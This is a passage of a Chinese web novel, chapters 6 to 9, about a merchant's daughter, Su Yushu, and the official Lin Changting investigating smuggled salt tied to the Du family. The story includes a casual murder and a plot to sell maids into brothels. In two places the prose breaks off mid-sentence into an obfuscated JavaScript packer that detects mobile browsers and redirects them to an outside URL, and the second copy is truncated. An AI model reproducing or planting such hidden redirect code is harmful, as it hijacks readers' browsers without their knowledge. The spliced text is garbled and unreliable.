“杜蕊琴给了我一些东西。”苏玉淑把那描摹精美的盒子推了过去,“还请林大人过目。” 林长亭将那盐晶拿在手里仔细摩挲一番,又在烛火上轻轻撩了一会儿,一股淡淡的海水腥气和矿物的气味混合着散发出来,说不上好闻,却也不算十分奇怪。 他轻轻放回:“不错,这和我们之前查到的私盐是同一种。” “这东西是从她杜家出来的,林大人要是查也是继续查她杜家,和我们苏家也就没关系了。” “苏小姐可还记得我说的话吗?”林长亭又温和地笑笑,“这盐是她杜蕊琴给你的不假,可我们追查它的来历,这的确是从苏家的盐场出来的。若是苏小姐能拿出证据证明和苏家无关,或者能把这事查个水落石出,将那始作俑者交出来,我们也不必大动干戈了,您说对吗?” 苏玉淑看到林长亭那张笑脸就生气。她只觉得气短憋闷,这世上怎么会有如此阴险又装作温良的人呢?偏偏还是个位高权重,自己斗不过的。 “该说的我都与你说了,就算有什么出入你也大可以问你的探子,更何况,眼下我们应该还算的上是同盟,那天你说的话还算数吗?”苏玉淑直 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“叶荣,别让我家绿萝看见,拿上茶水带她下去。” 叶荣一愣,他看了看发号施令的苏大小姐,又看了看面色惨白几乎昏厥的绿萝,最后才看向了自己的主人。林长亭还是那副淡淡的样子,他点了点头,叶荣这才搀了抖得和筛子似的女孩儿,退到大厅之外。 “绿萝生来胆子小,让林大人见笑了。” “不妨,她已经算是好的了。” “您此话何意?” “绿萝虽然害怕但是却忠心可靠,就算被你吓晕,也能注意到房顶上的叶荣。这已经是很难得了。不像杜家那个三小姐。” 苏玉淑睁大了眼睛,她只觉得喉咙被一股力量紧紧扼住:“什……什么?” 林长亭的笑意似乎强烈了几分,他眉头微微抬起,嘴角不自主地扬起:“杜家三小姐新得了这些盐晶,当做安眠的宝贝。叶荣半夜去偷,她正起夜撞见。” “然,然后呢?” “然后,她,就疯了。” 林长亭的声音还和平时一样平静,甚至可以说的上是温柔。只是在苏玉淑的耳朵里,和来自地狱的呢喃并无分别。她只觉得周身发冷,一滴冷汗从她的脖颈处滑落,噩梦一般的感觉又席卷而来,毫不留情地将她吞噬。 她壮着胆子,用下巴指了指那块粗麻布:“那这又是什么?” “这个啊,苏小姐看来不觉得眼熟吗?” “并没有,我家仿佛并不做这种料子的生意。” 林长亭像是听到了什么好笑的笑话,突然灿烂一笑,只是这人笑起来,眼睛却是不动的,像极了一汪被遗忘的湖水,深不见底又令人生畏。他笑得有些发抖,紧接着摆摆手,端起茶水润了润喉咙: “苏小姐见笑,在下失仪了。只是苏小姐着实喜欢经商,和传闻中并无两样,实在是可爱,若有唐突还请小姐海涵。” “唐突?你也不止唐突了一回了。所以这到底是什么?” “你还记得早晨被你拧断胳膊的大汉吗?” “当然,我还没派人去查。他定是故意在那里等着我的,不然也不会见了我便知我是苏家之人,只是不知所为何事。 “不必查了。”林长亭将那布料拿到烛火上,火焰顺势而起,他的面容在火光中忽明忽暗,宛如地狱之火之中淬炼的阎罗,“已经死了。” “什么?死了?” 看着她震惊的样子,他抖落了手中燃的不剩多少的破布:“他受杜家所托,来探探你的底细,顺便给你个下马威。冒犯苏小姐的人,自然是不用留着。再说了,一个残废,死不死的又有什么要紧呢。” 他起身行礼,面容温和得像一切不曾发生过:“苏小姐,入夜了,在下不便打扰。下次相见,叶荣自会前来通报,此事一了便不会再打扰苏小姐的生活,还请小姐多保重。” 林长亭转身向外走去,苏玉淑刚要再说些什么,一阵不合时宜的风突然掠过,近旁一株老槐树趁着抖落下一地雪白,她眯了眼睛抬头望去,那男子正微微笑着,槐花如同携风带雨的雪华一般沾染了他的肩头。 “三日后,杜家夏宴,还请苏小姐前来一聚。” 7. 第七章 “苏小姐,我家少爷送来香粉一盒。” “苏小姐,我家少爷送来绢花两朵。” “苏小姐,我家少爷送来金丝布料五匹。” “苏……” “苏苏苏,你家少爷天天索命来啊!”苏玉淑被气得杏眼圆瞪,她抄着手指着叶荣的鼻子毫不留情地骂道,“送送送,这东西我家又不是没有,他送点有用的行不行!你家少爷怎么不把自己送过来!” 叶荣抱拳道:“回大小姐,我家少爷说了这些事贡品,您没有的,您要是有了就该杀头了。我家少爷不送的,朝廷还有用。” 苏玉淑咬牙切齿地从嘴里挤出几个字:“明天我就去赴宴,让林长亭别折腾你也别折腾我了,我不缺东西。” “缺心眼。” “你说什么?!” 苏玉淑刚要发作,叶荣已经没了身影。这小猢狲嘴贱又灵活,真是拿他无可奈何。她泄恨似的跺了跺脚,气糊糊地把那缎子拿在手里刚要丢掉,想了想又重重放下。 谁知道那主仆两个躲在什么地方看热闹。 “绿萝,把这缎子收起来。” 绿萝摸了摸料子,紧接着翻了个白眼:“这林大人是出手阔绰,不过明天赴宴今天才送点衣料来,怎么,一晚上它能变成衣服让小姐你穿上不成?这男人办事真是粗糙,要不得。” “什么要不得?”苏玉淑今天已经不知道是第几次瞪大眼睛了,“要这玩意儿干什么?瘟神一样,赶紧查完感觉送走,留在身边就是个祸害。” “是是是。小姐说的都对。”绿萝手上一刻都没有拾闲,明日去杜府这一遭,上下有许多事都需要打点。夫人那边也收到了请帖,和家中主母一同出行,衣着穿搭礼数上自然是要更加注意的,既不能丢了苏家的脸,更不能压了主家的风头。好在前些日子定下的衣服首饰都已经送到了府上,只消明日梳妆打扮即可。 “小姐,林大人送的这个绢花还挺别致的,要不……” 看着绿萝小心翼翼地上来的东西,苏玉淑撇了一眼就扭过头去:“不要。” “这个绢花一看便知手艺精巧,这么细的纱上还佐了金线,我看比咱们首饰铺子送上来的那些金银器物还高贵些呢。” “不不不不,不要就是不要,我才不戴他送的,晦气。” “是了,小姐说不要,那丢出去也罢。” 一道声音从身后传来,苏玉淑诧异地回过头去,一名少女身着和绿萝一样的衣服,正笑着向她行礼。 “石竹你回来了!”她又惊又喜,紧紧地拉着石竹的手,“你可回来了!” “是是是,就你最惯着她。”绿萝嗔笑一声,“回来了还不进来收拾,等下挨骂了我可不管你。” “夫人正是说着明日事多,老爷又不在家,趁机将我放回来的。还剩下什么活计,我来帮你。” 三人有说有笑地进了房间,挑选衣服在身上试了又试,把一串串珠子宝石放在身上搭了又搭,一会儿笑一会儿闹的,和别的闺阁女儿并无半点分别。空荡荡的院子里一时热闹起来,先前那股暮霭沉沉之气荡然无存,仿佛整个家都活起来了似的。苏玉淑笑着用胭脂在绿萝脸上又涂又画,石竹帮着把人按住,三人好不快活,笑声直传到屋子外面去。 叶荣眼见无事可做,索性打道回府,复命去了。 “少爷,都送到了。” 林长亭把手中的书放下,只稍稍抬了头:“怎样?连着送了三天,那丫头片子可欢喜的很?” “回少爷,她让你把自己送给她。” 林长亭一惊,表情微微错愕又很快恢复原状:“那……那为时尚早。” “少爷,绿萝姐姐还说了,不要缎子要衣服,说你粗糙。哦,还让你送点有用的。” “这种闺阁内事,我确实未曾考虑周全。”林长亭略略一顿,“她可对你有什么好印象?” “没有,绿萝姐姐只骂我,还对我翻白眼。” “我说的是苏玉淑。” 叶荣微微抬起脸来:“这个也没有,她也骂我。” 林长亭摆摆手,叶荣便直起腰来。他还记得自家主子交代下来的任务,要他接近绿萝细细探查,可这两个女人只会一味的耍狠卖凶,急了便是要咬人的,这如何接近的了,倒不如杀了干净。 “少爷,属下有一事不明。” “讲。” “少爷,苏家老爷昏聩,少爷无能,苏家的生意在他俩这一代算是要没落了,明眼人都看得出来。您为何非要绕着圈子去找苏玉淑这个丫头片子,还顺带送她一个这么大的人情呢?” 林长亭饶有兴致地笑笑:“你看的出来,那杜家也看得出来。如果直接找上门去,你猜他们会不会有所察觉呢?这些人行事隐蔽,对苏玉淑自是不会设多大的防范。更何况师城又不是我们的势力范围,苏家财大势大,若是一朝倾颓,你说……朝堂之上,可要为这一城再起风波?” “是……少爷教训的是。” “记着,攻心为上。能动动嘴皮子动动银钱就换来的好处,岂不是更划算?” 叶荣自是年少,他虽然儿时就跟在了林长亭身旁,却也只是受了功夫上的教习,是个只会动手的直爽孩子。对于林长亭这些弯弯绕绕,尽管不大明白,却仍然报以灿烂一笑: “少爷真是我见过最聪明的人了!” 林长亭拾起毛笔,淡淡开口道:“若你们都是有用的,直接把杜家那贼窝端了,我也用不着犯这么多的事。若你们在京城办事还是这般……” 叶荣的笑容一下子怔在了脸上。 林长亭的脸上还是没有什么波澜,一双眸子暗沉得和布满了乌云的月夜一般。他只觉得呼吸都困难上了半分,跟在少爷身边这么久,他是什么脾气秉性叶荣最是清楚。 话是轻飘飘的,他却在空气中嗅到了一股死气。 “少爷,杜家的宾客名单。” 新进来的少年和叶荣有着几乎一模一样的面容,只是身形稍微高些壮些,不仔细看的话并无太大差别。 林长亭看着叶英送上来的本子,只扫上一眼便丢在一边。 “一个暴发户居然能请动县令和节察判官,我们还真是小瞧了这个地方。”他的嘴角弯成可怖的弧度,眉眼间满是邪气,“明天,我们就去会会这群不知天高地厚的东西。” 师城近来的天气一贯是好的,白云几丝,点缀似的飘散在空中,只是明媚中捎带了几丝闷热。苏玉淑站在人堆儿里,只觉得憋闷。 “母亲,我想去园子那边逛逛。”她凑到正和人应酬的夫人身旁,撒娇似的说到,“这儿好热,我妆都要花掉了。” 苏夫人脸上依旧是笑盈盈的,口上也没断了和别家夫人的寒暄。只是手上一把拽过苏玉淑的胳膊,把她拉下来小声伏在耳边说道:“去,不过你要是敢丢了苏家的人,你看我回去不告诉你爹的。” “各位夫人、姐妹慢聊,玉淑先告退。”她赶忙做全了礼节,笑在脸上都快堆不下了。她冲这个点点头,冲那个行行礼,也不知道谁对谁的,反正是杀出一条路来,可算是出来喘口新鲜的空气。 苏玉淑今天穿了一身绣着牡丹的浅藤萝紫色襦裙,外搭一件凤仙花红的对襟罗纹褙子,头发盘成堕马髻的式样,一只牡丹祥云螭虎钗点缀其间,而另一只凤凰衔珠立雕金簪则更为夺目,日光之下金光闪闪,大气婉约而不失威严,真是好一个大户人家嫡女风范。她极少穿得这样正式娇艳,绿萝和石竹看了都不免惊讶于自家小姐平日里不显山露水的美貌。 如果此时她没有翘着二郎腿一屁股坐在人家家里求财的石头上就更好了。 “唉,累死我了。”苏玉淑伸了个大大的懒腰,“绿萝,她家在哪儿有吃的啊?” “小姐,你至少坐直了行不行……”绿萝上手把她驼了的背掰直,“让人家看了多不好。” “小姐,我给你偷了块点心来,你先吃。”石竹递上一块帕子,“奴婢刚才看了,她家厨房就在后院西南角,席面一会儿应该是在正院里,我一会儿去打听打听糕点都放哪儿了,我再去偷。” “石竹还是你最好了!”苏玉淑兴冲冲地接过帕子,“这衣服也忒紧了些,今天早晨就没怎么吃饱,可饿死我了。” 她打开帕子,刚要一睹点心甜美芳容,只见一道黑影闪过,她手中已是空空如也。 “少爷,莲花糕。” 林长亭那张没什么表情的脸上居然能看出一丝得意:“苏小姐,又见面了。” “叶荣你找死!你快把小姐的点心还来!”绿萝挡在二人面前,“林大人,您也太无礼了些!” “我是叶英。”少年看向林长亭,继而恭敬地将帕子捧在手心,小心翼翼地递回苏玉淑的手里。 “不知林大人还有从人嘴里抢吃食的习惯,若是朝廷发的银两不够,可要我苏家拿上一些啊?” 不知怎的,林长亭的脑子里突 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457790|185365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然蹦出一句话: “少爷,她让你把自己送给她。” 他突然就有些红了脸,别过头去没再说话。 苏玉淑不免诧异,这男人一向筹谋嚣张,怎么自己一句阴阳怪气,戳中他难堪之处了不成?早听说当官的手里银钱不多,如今一瞧怕是真的。 “行了行了,你神出鬼没的找我什么事啊?”苏玉淑叹了口气,“我还不知道你把我弄进这虎狼窝是要做什么。” “咳咳……”林长亭清了清嗓子,“杜家的几个赌场的掌柜今日也来了。他家赌场还做了些皮肉生意,但是路子还没有摸清,值得一查。” “你是怕和私盐一路走的吧?”苏玉淑拿起一块糕点,毫不犹豫地塞进林长亭的嘴里。看着他一脸错愕,一股爽快感瞬间弥漫全身,仿佛这几天受的罪一下子就烟消云散了似的。 “查便查,只是你今天不要再出现在我面前了,别给我吓死。这个,叶英是吧,长得倒是和叶荣挺像的。你,去,给我再偷几块。绿萝把帕子给他。” 叶英早从弟弟那儿听说了这家小姐的行事做派,只是今日还是被惊着了。见自家少爷没说什么,也只得接过帕子,按着吩咐飞也似地逃离了这个是非之地。 林长亭在三个姑娘嘲笑的目光之中,好容易才把糕点吞下。他想要发作,却一时又红了脸: “罢了。今天晚上,我在院子里等你消息。” “玉淑妹妹!你怎么跑这儿躲懒来了!” 苏玉淑循声望去,正是杜蕊琴一行浩浩荡荡地直奔她而来,只是再回头看身前,林长亭已是消失得了无踪影。 “神出鬼没的死瘟神。”她嘟囔一句,立刻拾起笑脸,“蕊琴姐姐!我在这儿!” “是不是嫌前面人多,故意跑到林子这清净地方啦?”杜蕊琴热络地捧起她的手,“我那边已经备下茶水果子了,妹妹要不要去坐坐?” “就等姐姐这句话呢,妹妹自己可腻味死了。” 两人相视而笑,竟如亲姐妹似的挽起手来,两人一路笑着说着,也不觉日头渐热。杜蕊琴今日头上插的正是那做工细巧的宝蓝点翠珠钗,阳光之下熠熠生辉,如翠鸟正盘桓辗转于发上般栩栩如生。 苏玉淑由衷地夸赞道:“姐姐戴这个珠钗可真好看,满师城里也就姐姐能戴得这样富贵。” 杜蕊琴没有接着话茬,反而问道:“那日我送给妹妹的礼物,可还喜欢?” “啊?啊,喜欢!有种特别的味道,温了之后放在手心里,很是舒服呢!” “妹妹喜欢就好。” 苏玉淑只觉得她的院子好似又豪华了几分,不知是否是今日盛宴的缘故,她的室内又添了一应摆设,几乎全部贴了金箔或镶了珠子,只晃得人暗暗发晕。 杜蕊琴拍拍手,一行婢女行了礼便送上来一应果子点心,全是时下的新鲜东西,其中一些糕点的式样居然苏玉淑也未曾见过。 “妹妹,这是我家厨娘新研究的桂花茶糕,这是玫瑰冰酿,还有这个,是从南地运来的荔枝,你都尝尝。”她热情地将东西推到玉淑面前,脸上不住地笑,“我那五妹妹内向话少,自小与我不亲,我那三妹妹……我也是许久不曾和年纪相仿的姑娘这么投缘了。” “这个玫瑰冰酿真好吃。”苏玉淑巴巴地凑上去,“蕊琴姐姐,你这么好,能不能把你家厨娘拨过来借我几天呀?” “你要是喜欢,你自要去便是了。”说着,她还递上一张纸条,“这是上次你问我的事情,这是先生的名号和地址,想来妹妹的姻缘也不会错算了的。” “蕊琴姐姐你太好了!”苏玉淑热络地捧起她的手来,两只眼睛像盛满了星星,“姐姐,妹妹还有一事想打听了。” “你说便是,我定是知无不言的。” 苏玉淑四下看看,杜蕊琴便招手遣了侍女去: “现下可以说了吧?” “蕊琴姐姐,我家哥哥是个不成器的,虽是个纯良之人,可是心眼太过实在。我们家中有几个婢女,瞧着我哥哥老实可靠,竟然动了歪心思,说了几次还敢还嘴!妹妹实在气不过,想着找个法子治治这几个小贱人呢。” 杜蕊琴饶有兴味地摆弄起手边的茶盏:“妹妹想怎么处置了呢?” “姐姐,我想将她们打发到窑子里去,您觉得意下如何?” 她将手中茶杯放下,笑容缓缓爬上嘴角,如同一朵淬了毒的莲花: “我觉得,极好。” 8. 第八章 “几个贱丫头就想爬主子的床,就活该得点教训。”杜蕊琴眯了眼,摸了摸自己头上的发钗,“玉淑妹妹,治家便是要严格些才好。你我都是嫡女,以后必定是要担起管家的责任的,敢问妹妹一句,若是家里出了点三心二意求荣卖主的贱人,又当如何处置了呢?” “妹妹斗胆多问一嘴,是怎样的事呢?” “这……我一时之间倒是不知道从何说起了。” 苏玉淑捧起茶盏,仔细看了又看:“姐姐只看这兔毫盏,形制周正,银发栩栩如生。美则美矣,可是摆在姐姐的房中,怕是不太妥当。” 杜蕊琴甚是不解:“这是为何?” “姐姐府中之物,自然都是用最好的。只是用来配这盏的茶瓶茶托,却实在一般。 “妹妹的意思是?” “蕊琴姐姐,用物不在多,而在于精,自然用人也是这个道理。”苏玉淑端起茶杯细细品茗,“若是都用得惯也就罢了,若是用不惯,又何不去粗取精呢?虽不知姐姐家中出了什么事情,但是万事都只一样——断舍离。” “玉淑妹妹果然冰雪聪明又果敢决断,你的性子真是对我胃口。待过了宴,明日我就打发人到你府上,你将那几个小贱婢发卖了便是。” 苏玉淑故作惊讶:“姐姐,这种事你竟能做得了主?” 杜蕊琴只微微一笑:“我杜家不似你苏家般根基稳固,家大业大。但是大家都知道,我家发家之路却走的不甚太平。这点小事不必回我父亲,我帮妹妹料理了便可。” “敢问姐姐一句……”苏玉淑露出一副怯怯的模样,“发卖到哪里呀?” 杜蕊琴俯下身来,悄悄凑到苏玉淑的耳旁:“自然不是师城里秦楼楚馆那样的好去处。乡村野地,粗鄙乡人处,哪里不需要女人呢。妹妹,你说是吧?” 苏玉淑的笑梗在脸上,却还是轻声附和着:“是了,还是姐姐的法子好。” “其实妹妹本不必这么大费周章的。妹妹家里的盐场里这么多男丁,把这几个人送过去也便罢了,一来打发了眼底下干净,二来还能拉拢人心,妹妹何乐而不为呢?” 听了杜蕊琴这话,苏玉淑是彻底笑不出来了。她以为生在商贾世家,从小生意场上那些尔虞我诈阳奉阴违已经足够可怕,谁知自己远远连心狠手辣的边儿都没有摸到。从前自己那些规规矩矩的想法放在眼前,简直连个笑话都不如。这杜家出身黑市,又手握赌场,虽比不得苏家明面上的势力,可若真是背后使些什么手法……想到这里,她心里暗暗发怵。怎么自己先前没有早点察觉,这师城竟也是个龙潭虎穴,早不似表面一汪净水了。 “玉淑妹妹,到饭点儿了。”杜蕊琴轻轻握了握她的手,“妹妹的手怎么这么凉呢?明天我派些人到你府上去送些补品,咱们这个年纪的女孩子可得细细养着,不然以后可怎么是好呀。” “是……是。我也有些饿了。” “那我们快些去,别耽搁了时辰叫长辈们等着。听说家父还请来了一位大人呢,据说是年轻才俊,仪表堂堂的,我们姐妹一同看看去!” “蕊琴姐姐,这,这就是你刚才和我说的青年才俊?” 苏玉淑怎么也没想到,此时此刻坐在杜家高堂之上,就连平时那鼻孔朝天的县令都要对着行礼的人,居然是林长亭这么个家伙。 “这不是挺丰神俊朗的嘛。”杜蕊琴小声道,“虽然是瘦弱了点吧……但是也称得上是一表人才了。怎么,妹妹不喜欢这样的?” “什么喜欢不喜欢的,姐姐也不怕被人笑话了。” 再说了,喜欢这么个瘟神不是自己找罪受。苏玉淑把这句话暗暗憋在肚子里,默默低下了头,生怕林长亭又看见自己惹出什么是非来。 “蕊琴,过来见过转运使林大人。” 得,真是怕什么来什么。杜老爷一句话,整个厅里人的目光全都看了过来,坐在她旁边的苏玉淑自是也成为了众矢之的,此刻她巴不得把头埋进地里,这种场面下要是丢了苏家的人,那可不是几句话能打发的过去的。 “小女杜蕊琴,见过林大人。”杜蕊琴起身行礼,苏玉淑也紧跟着站了起来,只是大有打死不肯抬头的架势。 林长亭点点头:“杜大小姐果然和传闻中一样风姿绰约,今日一见是林某之幸。” 他瞟了一眼旁边和小鸡崽似的唧唧索索的苏玉淑:“敢问这位是?” 就知道这狗东西没安好心。 “小女苏家长女,苏玉淑,见过林大人。”苏玉淑再一次做全了礼数,低眉顺眼的样子和一个时辰之前那副大咧咧的嚣张模样简直是判若两人。 林长亭眼下得意:“苏大小姐也是英气勃发啊。” 众人面面相觑,都不知他何出此言。只有苏玉淑明白,这是当着大家伙的面讽刺她呢。可眼下名门齐聚,还有官宦人家,任凭苏家再如何富有都只是最末流的商贾,是断断还嘴不得的。 林长亭见她吃瘪,内心甚是得意。他也未做纠缠,转身面向杜老爷:“早听闻师城人杰地灵,真是百闻不如一见。” “转运使大人夸奖了,小人家宴招待不周,若有不妥之处还请大人多多海涵。” “怎会。杜老爷府上金碧辉煌,比我在京中见过的许多人家都要气派许多。”林长亭笑笑,“早知师城如此繁华富庶,我应该早来一些才是。” “大人这话就是抬举小人了,小人发家纯属巧合,那是搭上这阵子风儿了,小人有什么都是大人们赏的,您若是看上什么了,拿去便是!” 县令稳坐一旁,捋了捋胡子,默默看着这一出阿谀奉承的好戏。 “刘大人,您看杜老爷连林大人都能请来……”坐在他身旁的是师城节察判官史节史大人,他冷眼看着这一场歌舞升平,脸色不甚明朗,“这师城里啊,怕是要变了天了。” 刘县令不以为然:“变天?变得了吗?谁不知他们杜家就是个破落户一朝得意,自古无商不奸,能是什么好货色。” “这可不好说,有钱能使鬼推磨,谁不觉得钱是好东西,钱只要够多自然能够成事。要是成不了……”史大人嘲讽一笑,“那自然是钱不够多呗。” “二位大人说什么呢这么高兴,林某也想听听呢。” 林长亭突然转过身来,倒把两个人下了一跳。杜老爷正忙着吆喝下人传菜,远处别家夫妇都在闲聊叙旧,林长亭倒是乐得自在。他最喜欢的就是这种热闹场景—— 越热闹越好。 场面越宏大,人心越热络,就越让人想毁掉这一切。林长亭喜欢这种感觉,周遭的人声鼎沸仿佛与他无关,他像是坐在帷帐之后悄悄看着这一场闹剧一样,别人说了什么做了什么只当是一场戏,一幕终了之时,又有谁还能留着一条小命接着出演下一个剧本呢。 他也不例外。执刀之人,必定也为刀所指。 两位大人讪笑两下,打着哈哈圆了场。官场也好商场也罢,都是算计着人心尔虞我诈,人人带着假面,恶心的很。倒是不如那个正捏着蜜瓜往嘴里送的小丫头片子,对着吃的装也不装,扔在一旁的桃子看都不看一眼。 “绿萝,这个桃子你爱吃,你偷偷拿走和石竹分了吧。” “小姐,谁不知道你不爱吃这东西啊,不就是酸吗。”绿萝小声道,“这么多人你让我俩怎么吃。不如你走的时候偷偷藏袖子里呢?” “那倒也是。” 苏玉淑看着一道一道上来的珍馐,也着实又被杜家惊到了一回。除了师城常见的几道菜肴,居然还有从南方运来的石斑和香茅,这两样东西她也只见过寥寥几次。且不说价高难得,这一路的运输便是银钱无数,可见杜家这一场夏宴办的是财大气粗,丝毫不遮掩他家的家底。 “姐姐。” 苏玉淑正要偷摸往石竹手里递果子,听到动静立刻收了手。她转头看去,一名模样清秀身形十分瘦削的少女正向杜蕊琴行礼。 “五妹妹怎么出来了?你不是在养病吗?”杜蕊琴脸上明显出现一丝不快,她察觉到苏玉淑的目光,立刻变了脸色,“玉淑妹妹,这是我家五妹妹,一向不爱见人的。这是苏家大小姐,快快行礼。” “蕊华见过苏大小姐。”她恭恭敬敬地行礼,一双肩膀窄得和纸片似的,苏玉淑都怕一阵风过来把她再拦腰折成两节。 “五小姐多礼了。若是身子不方便……” “蕊华没什么不方便的。家母也说了,我自小养在后院,也到了和长姐一起出来见见世面的年纪了。” “母亲自是没有说错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她这么想着,索性打发了石竹去,自己一个人在杜家溜达起来。要说杜家的格局也是奇怪,正常大户人家的庭院多崇尚疏朗文雅之风,曲水蜿蜒,湖面清丽,假山楼台这些都是必不可少的。可杜家的布景却无什么景深可言,只是粗糙的几块巨石,几处繁花罢了,就连常见的兰花也只在此处才刚刚见到。 “唉……若无清风吹,香气为谁发。”苏玉淑摇摇头,想来这时候叶荣叶英都围在林长亭身边,总算是得了自在。她揪下一株小草衔在嘴里,找了处没什么光的地方一屁股坐下。 “苏大小姐好。” 苏玉淑和不倒翁似的,猛地一下从地上弹起来,她差点没把心脏吓出来。这种僻静地方,怎么会有这么瘆人的声音! “惊着姐姐了,是蕊华的不是。只是苏小姐不要再往前了,前面是三妹妹的住处。” 苏玉淑这才看到她被巨石挡住的瘦瘦小小的身影。刚在在厅上光线昏暗,到了外面她才发现,杜蕊华的面色极其苍白,哪怕是敷了脂粉也难掩那份柔弱。她的手指纤细得和笔杆一般,几处皮肤下的红血丝都清晰可见。 这杜家……怎么会把好好的女儿养成这幅样子? 苏玉淑皱着眉头:“想来我是年岁比你大些的,你叫我玉淑姐姐就行。” “是,玉淑姐姐。”杜蕊华粲然一笑,“玉淑姐姐竟比大姐姐还要好相处些呢。” 杜蕊华长相虽然没有杜蕊琴好看,却别有一番风味。如果说蕊琴是国色天香的牡丹,那她就是一株娇弱的酢浆草般的小花儿。 都是一个屋檐下的,或许就是长姐蛮横,妹妹内向了些。苏玉淑笑笑,声音都不自主地轻柔了许多:“我就叫你一声五妹妹。五妹妹身子不好要多吃多调养,你大姐姐是个直爽人,有什么和她直说了最好。” 杜蕊华愣了一下,继而低下了头。 苏玉淑不解,她赶忙顺着看去,杜蕊华的眼睛里已是噙满了泪水,她微微抬眸,豆大的泪滴顺着面庞潸然而下,看得苏玉淑心下一紧。 她只是行了礼,什么都没说就向反方向跑去。 苏玉淑不知自己说错了什么,只怕是这下捅了篓子。眼下只有她自己,要是出了什么事可没法解释。她稍作思考,转身向前厅走去,即是避嫌也是避险,可别再让杜家的家私把自己卷进去才是。 “玉淑姐姐!” 她还没走两步,杜蕊华的哭声便喊了起来,那哭喊声伤心欲绝,令人不忍听闻—— “离杜蕊琴远一点!她不是什么好人!” 9. 第九章 “小姐,你先休息会儿吧。今天在杜家看了那么一出大戏,怕是累都累死了。”绿萝一边拆着苏玉淑发上的钗环,一边儿递过来一个油纸包,“这是那个侍卫放在咱们马车上的,小姐可要尝尝?” 石竹接过来兴冲冲地打开:“小姐晚上没吃什么东西,这会儿肯定饿了。一会儿那个姓林的不是还要过来,小姐应付这么一尊大佛更要费些精力了。看,是芙蓉云片糕!” “芙蓉云片糕?”苏玉淑立刻摆了笑脸,“好久没吃这个了,咱仨尝尝?” “小姐小姐,别干吃。奴婢去倒壶茶来,你们两个等等我啊,我有重要的事和你们说呢!”绿萝兴冲冲地拎着一把铜壶,里面是刚刚烧好的热水正微微冒着白烟,“石竹你不知道,你不在的这段日子,小姐连馊茶水都喝,真真比外面的叫花子还吓人呢!” “小姐……咱们虽然应该节俭,但是也不用到这个地步的……”石竹不免担忧,“这让人听了多丢人……” “去去去,你听她瞎说的。我那是忘了!忘了懂吗!”苏玉淑一脸不服,“再说了,这算什么大事……” 绿萝神秘兮兮地摆好茶杯:“你们俩别说,我今天真打听到一件大事。” “什么什么!” “快说快说!” “瞅你俩那猴急的样!”绿萝把门仔仔细细关好,又绕着屋子看了一圈房顶这才好好做下拉住二人的手小声说道,“你们知道吗,那杜家的老爷是个花花肠子的,前前后后娶了二三十个小妾呢!” “不可能,你肯定打听错了。”苏玉淑撅了撅嘴,露出一副了然于胸的神情,“今天我可看见了,就杜蕊琴她娘一个,后院也没见着女人啊。” “我可是和上次那个门房小厮打听的,他看我的眼珠子都快直了,还能有假?你俩猜猜是怎么着?” 石竹急的朝着她的肚子就戳了一把:“你卖什么关子呀!赶紧说!” “哎哟!”绿萝被戳的差点跳起来,“就属你最凶!比小姐还凶!我说还不行吗!就是杜蕊琴呀!听说杜蕊琴的娘是个软性子的,杜老爷靠着她娘家带来的钱和铺子发了家,然后就没完没了的纳妾。一开始还没生孩子,结果后来杜蕊华和两个小庶子出生,那杜大小姐不知使了什么手段,居然把那几房小妾都打发了!” 苏玉淑不可置信:“打发了?怎么个打发了?” “小姐,杜家干的什么营生你还不知道吗!你说是怎么打发的!我还听说,这杜蕊琴和她爹一向不对付,她爹娶进来一个,她就打发一个,也不知为何这杜老爷也不管,倒是奇怪。” “怪不得……” “小姐说什么怪不得?” “怪不得我和她说要打发几个婢女的时候,她那样的轻车熟路。可我并遍访咱们家的几个字号,也没听说杜家是她掌家啊?绿萝,你明日去美人街上找了王掌柜,他离得最近,求他帮我打听打听。” “是。但是这事还没完呢!” 石竹急的直喘粗气:“你能不能把话一次说完呀!你是要急死谁呢!” “小姐都不急,你急什么!”绿萝吐吐舌头,“先不说杜家老爷这档子事儿,杜蕊琴和杜蕊华,还有疯了的那个三小姐杜蕊琦都可不对付了呢!大小姐自然是不必多说的嫡长女,杜蕊琦却和那个庶出的五妹妹亲昵些,你们说奇不奇怪?” “难怪呢。”石竹恍然大悟道,“我在夫人那边当差的那些日子,听到老妈子嚼舌根,说是杜蕊琦疯了以后,杜家只是对外捂得严实,说是也没找什么郎中,只是找了个先生看看,说是鬼上身。可是我明明记得那三小姐挺受宠的啊?怎么突然出了这么一档子事,杜家反倒不怎么上心了呢?” 苏玉淑捧着茶碗,不着粉黛也不刻意打扮的样子看起来倒是乖巧:“对啊……我和你们说,我记得以前有一次和母亲去宴会的时候,那杜三小姐我是见过一次的,她对着主人家的仆人又打又骂的,就这样了杜老爷都没说什么呢!怎么想都不应该啊……” 咚——咚咚—— 得,瘟神来了。 三人对视一眼,绿萝无奈地去开了门。门外少年正拱手垂头候着,门里的光线缓缓落在他身上,倒显得有几分圣洁。 “哟,这次是哪个来叫的门啊?” “绿萝姐姐,我是叶荣。今天——” “哦,边儿等着吧。我家小姐等等就来。”不等少年把话说完,绿萝瞟了一眼坐在院子里的男子气儿就不打一出来。今天这杜家夏宴本累了一天了,小姐晚上还得应付他这么号人物,要她说来,反正小姐也不受宠,不如收拾了金银细软带几个人跑路也罢,干什么往自己身上揽这种苦差事! “林大人,久等了。”苏玉淑迈出门来,居高临下地看着林长亭,“月色正美,林大人可真是有雅兴。” “月色再美,也不及苏小姐美貌万分。”林长亭起身回礼,“想来苏小姐也是不愿意见我的,不如我们将正事快点说完,也好各自安置了。” 